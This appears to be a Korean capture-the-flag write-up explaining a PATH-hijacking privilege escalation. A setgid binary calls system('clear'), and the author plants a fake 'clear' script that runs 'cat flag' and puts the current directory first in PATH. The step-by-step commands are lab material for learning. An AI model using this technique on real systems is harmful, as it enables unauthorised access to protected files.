728x90
1.문제 분석
- 환경변수 조작
- 명령어 PATH 조작
2. 기본 아이디어
- ./chal의 코드를 열어본다.
- 환경변수를 '현재 디렉토리 우선'으로 바꿔준다.
- 그렇다면 바뀐 clear 코드가 상승된 권한으로 ./chal에서 실행될 것이다.
3.문제 풀이
IDA로 열어본
./chal의 내용은 다음과 같다.
int __fastcall main(int argc, const char **argv, const char **envp) {
setresgid(0x3E9u, 0x3E9u, 0x3E9u);
system("clear");
puts("Tada~!");
return 0; }
setresgid로 권한을 상승시키고, clear라는 명령어를 실행하는 것을 볼 수 있다.
하지만 flag파일은 permission denied이므로 열 수 없다.
그렇다면 chal을 통해 flag를 여는 방법밖에는 존재하지 않다.
가장 수상한 내용인
system("clear")를 봐야한다.
우분투에서 명령어들은 대부분 /usr/bin 아래에 있다.
clear도 /usr/bin/clear 파일의 내용을 실행하는 것이기 때문에
clear 명령어의 참조 기준만 바꿔버리면 내가 직접 clear 파일의 내용을 마음대로 적어서
system("clear")를 통해 실행시킬 수 있을 것이다.
따라서
$ echo 'cat flag' > clear
$ chmod +x clear
명령어를 적어서 clear파일을 만들고
실행권한을 주자.
$ export PATH=.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
명령어를 통해 현재 파일을 우선적으로 참조하도록 만들어주자.
위 명령어에서 .은 현재 디렉토리 참조, 그다음은 기존 환경변수 내용이므로
현재 디렉토리부터 참조한다.
이제 chal을 실행해보면 플래그가 나온다.
728x90